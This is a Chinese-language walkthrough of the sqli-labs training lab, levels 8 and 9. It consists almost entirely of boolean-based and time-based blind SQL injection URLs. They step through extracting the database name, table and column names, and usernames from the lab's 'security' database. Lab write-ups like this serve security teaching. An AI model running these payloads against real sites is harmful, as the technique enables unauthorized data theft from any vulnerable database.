sqli-labs-------第八、九关

第八关

使用方法：

• 布尔盲注
• 时间盲注

布尔盲注：判断页面true\false

使用函数：length,substr,count

猜测正确页面会显示You are in....

 判断数据库名长度

http://sqli.com/Less-8/?id=1' and length(database())=8--+

判断数据库名

http://sqli.com/Less-8/?id=1' and substr(database(),1,1)='s'--+

判断指定数据库中表个数

http://sqli.com/Less-8/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())='4'--+

判断指定数据库中各表名长度

http://sqli.com/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)=6--+

判断指定数据库中各表名

http://sqli.com/Less-8/?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e'--+

判断指定表中列数

http://sqli.com/Less-8/?id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)=3--+

判断指定表中列名长度

http://sqli.com/Less-8/?id=1' and (select length(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)=2--+

判断指定表中列名

http://sqli.com/Less-8/?id=1' and substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i'--+

得到指定列中数据

http://sqli.com/Less-8/?id=1' and substr((select username from security.users limit 0,1),1,1)='D'--+

时间盲注：判断正确页面响应时间变长

使用函数：if,sleep

判断注入类型

http://sqli.com/Less-8/?id=1' and sleep(10)--+

判断数据库名长度

http://sqli.com/Less-8/?id=1' and if(length(database())='8',sleep(10),1)--+

判断数据库名

http://sqli.com/Less-8/?id=1' and if(substr(database(),1,1)='s',sleep(10),1)--+

判断指定数据库中表个数

http://sqli.com/Less-8/?id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())='4',sleep(10),1)--+

判断指定数据库中各表名长度

http://sqli.com/Less-8/?id=1' and if((select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)=6,sleep(10),1)--+

判断指定数据库中各表名

http://sqli.com/Less-8/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(10),1)--+

判断指定表中列数

http://sqli.com/Less-8/?id=1' and if((select count(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)=3,sleep(10),1)--+

判断指定表中列名长度

http://sqli.com/Less-8/?id=1' and if((select length(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)=2,sleep(10),1)--+

判断指定表中列名

http://sqli.com/Less-8/?id=1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i',sleep(10),1)--+

得到指定列中数据

http://sqli.com/Less-8/?id=1' and if(substr((select username from security.users limit 0,1),1,1)='D',sleep(10),1)--+

第九关--------单引号时间盲注

发现不管输入什么参数值页面都不改变

猜想可能是关闭了报错，且无论语句正确与否返回的结果都是相同的
我们尝试基于时间的注入

第十关--------双引号时间盲注